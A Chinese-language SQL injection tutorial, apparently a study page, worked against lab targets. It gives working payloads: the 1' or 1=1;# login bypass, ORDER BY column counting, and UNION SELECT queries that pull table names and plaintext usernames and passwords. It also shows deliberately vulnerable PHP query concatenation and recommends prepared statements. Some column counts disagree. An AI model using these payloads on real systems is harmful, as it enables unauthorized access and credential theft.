&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022154817602.png"&gt;&lt;/p&gt;
&lt;p&gt;我们可以将列表查询解释为&amp;quot;显示 users 表中的所有列和记录&amp;quot;。SELECT 命令的第一个参数是列，星号是一个特殊字符，表示&amp;quot;所有&amp;quot;。&lt;/p&gt;
&lt;p&gt;我们还可以使用 WHERE 子句为查询引入条件子句：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022154908055.png"&gt;&lt;/p&gt;
&lt;p&gt;我们可以将查询解释为&amp;quot;显示 users 表中的 user 字段，仅显示 id 为 1 的记录&amp;quot;。&lt;/p&gt;
&lt;p&gt;这些只是一些基础知识。我们还可以在表中 INSERT（插入）、UPDATE（更新）和 DELETE（删除）数据。我们在这里不会涵盖这些语句，但在展示如何利用 SQL 注入时，我们会根据需要介绍其他 SQL 语法。&lt;/p&gt;
&lt;h2 id="识别-sql-注入漏洞"&gt;识别 SQL 注入漏洞
&lt;/h2&gt;&lt;p&gt;在寻找 SQL 注入漏洞之前，我们必须首先识别数据可能通过数据库传递的位置。身份验证通常由数据库支持，根据 Web 应用程序的性质，其他区域（包括电子商务网站上的产品或论坛上的消息线程）通常需要数据库交互。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.224.1:8888/vulnerabilities/sqli/?id=1&lt;span class="err"&gt;&amp;amp;&lt;/span&gt;Submit=Submit#
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022155005359.png"&gt;&lt;/p&gt;
&lt;p&gt;我们可以使用单引号（&amp;rsquo;）作为简单检查潜在 SQL 注入漏洞的方法，SQL 使用单引号作为字符串分隔符。如果应用程序没有正确处理这个字符，很可能会导致数据库错误，并可能表明存在 SQL 注入漏洞。知道了这一点，我们通常通过在每个我们怀疑可能将其参数传递给数据库的字段中输入单引号来开始攻击。在进行黑盒测试时，我们需要使用这种试错方法。&lt;/p&gt;
&lt;p&gt;如果我们能够访问应用程序的源代码，我们可以检查它是否存在通过字符串连接构建的 SQL 查询。在 PHP 中，这可能看起来像以下内容：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;select * from users where id = &amp;#39;&lt;/span&gt;&lt;span class="si"&gt;$id&lt;/span&gt;&lt;span class="s2"&gt;&amp;#39;;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022155932358.png"&gt;&lt;/p&gt;
&lt;p&gt;如果用户数据以任何方式包含在 SQL 语句中而没有经过清理，发生 SQL 注入的可能性非常高。让我们通过一些例子进一步分析。在正常登录中， 当提交“1”作为查询的要素时，实际在数据库中执行的代码如下所示：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;select * from users where id = &amp;#39;1&amp;#39;;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Burp抓包后还可以直接发送到intruder模块配合sql注入字典直接测试。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022163002439.png"&gt;
返回数据比较长的都是注入成功有内容的，可以注入的。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022163242105.png"&gt;&lt;/p&gt;
&lt;h2 id="身份验证绕过"&gt;身份验证绕过
&lt;/h2&gt;&lt;p&gt;身份验证绕过是利用 SQL 注入漏洞的经典示例，展示了恶意用户操纵数据库的危险性。考虑上一节中的代码示例。如果我们能够将自己的代码注入到 SQL 语句中，我们如何能够以有利于我们的方式修改查询？&lt;/p&gt;
&lt;p&gt;这是正常的使用场景：合法用户向应用程序提交他们的查询ID，用户名和密码。应用程序使用这些值查询数据库。SQL 语句在 where 子句中使用 and 逻辑运算符。因此，数据库只会返回具有给定用户名和匹配密码的用户记录。&lt;/p&gt;
&lt;p&gt;正常的 SQL 查询如下所示：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;select&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;where&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;如果我们控制作为 $id 传入的值，我们可以通过提交 &lt;code&gt;1' or 1=1;#&lt;/code&gt; 作为我们的用户名来破坏查询的逻辑，这将创建如下查询：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;select&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;where&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;#&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;井号字符（#）是 MySQL/MariaDB 中的注释标记。它有效地删除了语句的其余部分，所以我们剩下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;select&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;where&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;SQL中单引号和井号可以作为注释和分段，所以如果输入万能密码 1 &amp;rsquo; or 1=1;# 的话。&lt;/p&gt;
&lt;p&gt;可以看到 1‘ 和原本查询语句开头的 id = &amp;rsquo; 组成了一个完整的语句，而此时又带入了or 后面的内容，为了不让原本的结尾的 &amp;lsquo;;中的引号引起语法错误，使用了#注释掉后面的内容，所以# 号后面被SQL数据库视为注释内容没有执行，所以结尾的引号不会引起报错，而我们又成功执行了 or 1=1;的内容。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022161159494.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022155448777.png"&gt;&lt;/p&gt;
&lt;p&gt;我们可以将其解释为&amp;quot;显示id为 1 或 1 等于 1 的用户的所有列和行&amp;quot;。由于&amp;quot;1=1&amp;quot;条件始终评估为真，因此将返回所有行。简而言之，通过引入 or 子句和&amp;quot;1=1&amp;quot;条件，该语句将返回 users 表中的所有记录，创建一个有效的&amp;quot;密码检查&amp;quot;。&lt;/p&gt;
&lt;p&gt;这足以绕过身份验证吗？这取决于情况。我们已经操纵查询返回 users 表中的所有记录。应用程序代码决定接下来会发生什么。某些编程语言具有查询数据库并期望单个记录的函数。如果这些函数获得多行，它们将生成错误。其他函数可能可以很好地处理多行。在没有应用程序源代码或使用试错法的情况下，我们无法知道会发生什么。&lt;/p&gt;
&lt;p&gt;如果当我们的 payload 返回多行时遇到错误，我们可以使用 LIMIT 语句指示查询返回固定数量的记录：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;select&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;where&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;LIMIT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;#&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022161651556.png"&gt;&lt;/p&gt;
&lt;p&gt;为了试验这些查询及其对数据库的影响，我们可以使用 MySQL 用户名和密码直接连接到 靶机的数据库，并直接执行 SQL 语句：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022161802956.png"&gt;&lt;/p&gt;
&lt;p&gt;假如是在登录界面，而我们不知道密码的情况下，可以用这个万能密码和LIMIT语法只返回第一个用户（一般就是admin管理员）的用户名和密码，通过包含&amp;quot;or 1=1 LIMIT 1;&amp;ldquo;子句并注释掉查询的其余部分来欺骗应用程序让我们进入。我们不确切知道查询的样子，但&amp;quot;or&amp;quot;子句将评估为真，因此会导致查询返回记录。我们将包含&amp;quot;LIMIT&amp;quot;子句以保持简单并仅返回一条记录。我们将在&amp;quot;username&amp;quot;字段中提交我们的 payload，如果我们成功操纵了查询，我们应该获得一个有效的已认证会话。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;如何防止 SQL 注入？&lt;/strong&gt; 一个天真的方法可能是在清理用户输入时删除所有单引号字符。然而，有时单引号应该被视为有效输入，例如姓氏。
最好的方法是使用参数化查询，也称为预处理语句（prepared statements）。此功能允许开发人员在其 SQL 语句中放置参数或占位符。然后将用户输入与语句一起提供，数据库将值绑定到语句，在 SQL 语句代码和数据值之间创建一个分离层。这可以防止用户提供的数据操纵 SQL 代码。大多数主要数据库系统和编程语言都支持预处理语句。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;blockquote class="alert alert-note"&gt;
 &lt;div class="alert-header"&gt;
 &lt;span class="alert-icon"&gt;📝&lt;/span&gt;
 &lt;span class="alert-title"&gt;注意&lt;/span&gt;
 &lt;/div&gt;
 &lt;div class="alert-body"&gt;
 &lt;p&gt;下面的内容只作为理论查看，教材部分命令不再适用新的环境。推荐看专题[[sqli-labs 靶场合集 WP|sqli-labs]] 练习，搞懂所有的SQL操作。&lt;/p&gt;
 &lt;/div&gt;
 &lt;/blockquote&gt;
&lt;h2 id="枚举数据库"&gt;枚举数据库
&lt;/h2&gt;&lt;p&gt;我们还可以使用 SQL 注入攻击来枚举数据库。当我们开始构建更复杂的 SQL 注入 payload 时，我们需要这些信息。例如，如果我们要从列和表中提取数据，我们需要知道列名和表名。这有助于我们执行更精确的数据提取。&lt;/p&gt;
&lt;p&gt;这会导致 SQL 语法错误，表明存在潜在的 SQL 注入漏洞。&lt;/p&gt;
&lt;h3 id="列数枚举"&gt;列数枚举
&lt;/h3&gt;&lt;p&gt;我们可以向查询添加 order by 子句进行简单枚举。此子句告诉数据库按一列或多列中的值对查询结果进行排序。我们可以在查询中使用列名或列索引。&lt;/p&gt;
&lt;p&gt;让我们提交以下 URL：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/debug.php?id=1 order by 1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;此查询指示数据库根据第一列中的值对结果进行排序。如果查询中至少有一列，则查询有效，页面将正常呈现而不会出错。我们可以提交多个查询，每次递增 order by 子句，直到查询生成错误，表明已超过相关查询返回的最大列数。请记住，查询可以选择表中的所有列或仅选择列的子集。如果我们无法访问源查询，则需要依赖这种试错方法。&lt;/p&gt;
&lt;p&gt;由于我们需要任意次数地迭代列号，我们应该使用 Burp Suite 的 Repeater 工具自动化查询。&lt;/p&gt;
&lt;p&gt;为此，我们必须首先启动 Burp Suite，关闭 Intercept 并针对我们的 Windows 目标启动 URL。在 Proxy &amp;gt; HTTP history 中，我们应该看到我们想要重复的请求：&lt;/p&gt;
&lt;p&gt;接下来，我们将右键单击该请求并选择 Send to Repeater。该请求现在应该显示在 Repeater 选项卡下。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022163433614.png"&gt;&lt;/p&gt;
&lt;p&gt;请注意，该请求已进行 URL 编码，并显示为&amp;quot;id=1%20order%20by%201&amp;rdquo;。这不应影响我们的查询。我们可以点击 Send 提交查询：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022163503071.png"&gt;&lt;/p&gt;
&lt;p&gt;响应看起来正常。我们可以使用 Response 窗格下的搜索框搜索&amp;quot;Error&amp;quot;，并验证响应主体中没有匹配项。&lt;/p&gt;
&lt;p&gt;接下来，我们可以递增 order_by 子句并再次发送查询，直到收到错误消息。我们可以使用 Response 窗格下的搜索框在响应中突出显示错误：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022164144430.png"&gt;&lt;/p&gt;
&lt;p&gt;order by 子句在第三次迭代时产生错误，我们知道查询返回包含2列的结果集。
这和数据库中原本的数据8列不一样，因为网页上只选取了Firstname 和 Surname两列的数据。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022163840064.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022164732268.png"&gt;&lt;/p&gt;
&lt;h2 id="理解输出的布局"&gt;理解输出的布局
&lt;/h2&gt;&lt;p&gt;现在我们知道表中有多少列，我们可以使用此信息通过 UNION 语句提取更多数据。UNION 允许我们向原始查询添加第二个 select 语句，扩展我们的能力，但每个 select 语句必须返回相同数量的列。&lt;/p&gt;
&lt;p&gt;根据我们的枚举，我们知道查询选择了2列。但是，网页上只显示两列。我们的下一步是确定显示哪些列。如果我们使用 union 来提取有用的数据，我们希望确保数据将被显示。&lt;/p&gt;
&lt;p&gt;我们需要更好地理解我们的输出，以便开始构建有意义的数据库提取。首先，让我们了解一下页面中显示了哪些列。我们将使用 UNION 来做到这一点。我们可以指定字面值，而不是从表中查找值。由于我们有三列，我们将在 payload 中添加&amp;quot;union all select 1, 2&amp;quot;。这个新的 select 语句将返回一行，包含三列，值为 1、2 。我们的 payload 现在是：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://192.168.224.1:8888/vulnerabilities/sqli/?id=1+union+all+select+1%2C+2&amp;amp;Submit=Submit#
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022170124687.png"&gt;&lt;/p&gt;
&lt;p&gt;页面显示不同列的位置，如下所示：&lt;/p&gt;
&lt;p&gt;我们可以看到第一列未显示，第二列显示在 name 字段中，第三列显示在 Comment 字段中。Comment 字段有更多空间，因此这是我们未来漏洞利用输出的合理位置。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;提示：&lt;/strong&gt; 如果对此有任何不清楚的地方，现在是再次直接连接到数据库并尝试这些查询的好时机。您不需要成为经验丰富的数据库管理员就能利用 SQL 注入，但您对 SQL 和这些查询正在做什么越熟悉，从 SQL 错误消息到成功利用 SQL 注入漏洞就越容易。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022165727275.png"&gt;&lt;/p&gt;
&lt;h2 id="从数据库中提取数据"&gt;从数据库中提取数据
&lt;/h2&gt;&lt;p&gt;我们现在可以开始从数据库中提取信息。以下示例使用特定于 MariaDB 的命令。但是，大多数其他数据库提供类似的功能，语法略有不同。无论我们针对什么数据库软件，最好了解特定于平台的命令。&lt;/p&gt;
&lt;p&gt;例如，要输出 MariaDB 的版本，我们可以使用此 URL：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/debug.php?id=1 union all select 1, 2, @@version
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这应该在 name 字段中输出&amp;quot;2&amp;quot;，在 comment 字段中输出数据库版本号：&lt;/p&gt;
&lt;p&gt;很好。看起来正在工作。接下来，让我们使用此查询输出当前数据库用户：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/debug.php?id=1 union all select 1, 2, user()
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;此查询显示正在使用 root 用户进行数据库查询：&lt;/p&gt;
&lt;p&gt;information_schema 存储有关数据库的信息，如表名和列名。我们可以使用它来获取数据库的布局，以便我们可以制作更好的 payload 来提取敏感数据。查询如下所示：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/debug.php?id=1 union all select 1, 2, table_name from information_schema.tables
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这应该输出大量数据，其中大部分引用有关 MariaDB 中默认对象的信息。它还将包括表名，但我们需要滚动浏览输出以找到它们。&lt;/p&gt;
&lt;p&gt;users 表看起来特别有趣。让我们针对该表并使用以下查询检索列名：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/debug.php?id=1 union all select 1, 2, column_name from information_schema.columns where table_name=&amp;#39;users&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这会输出 users 表的所有列名：&lt;/p&gt;
&lt;p&gt;我们知道原始查询选择三列，网页显示第二列和第三列。如果我们更新 union payload，我们可以在第二列中显示用户名，在第三列中显示密码。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/debug.php?id=1 union all select 1, username, password from users
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这将在 name 字段中输出数据库用户名，在 comments 字段中输出密码：&lt;/p&gt;
&lt;p&gt;太好了。我们不仅获得了用户名和密码，而且密码都是明文的。我们可以通过登录管理页面来验证这些信息。&lt;/p&gt;
&lt;p&gt;我们可以查看源代码来验证我们通过黑盒测试推断出的内容：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;36&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;37&lt;/span&gt; &lt;span class="k"&gt;include&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;database.php&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;38&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;39&lt;/span&gt; &lt;span class="nv"&gt;$sql&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;SELECT id, name, text FROM feedback WHERE id=&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="mi"&gt;40&lt;/span&gt; &lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$conn&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sql&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
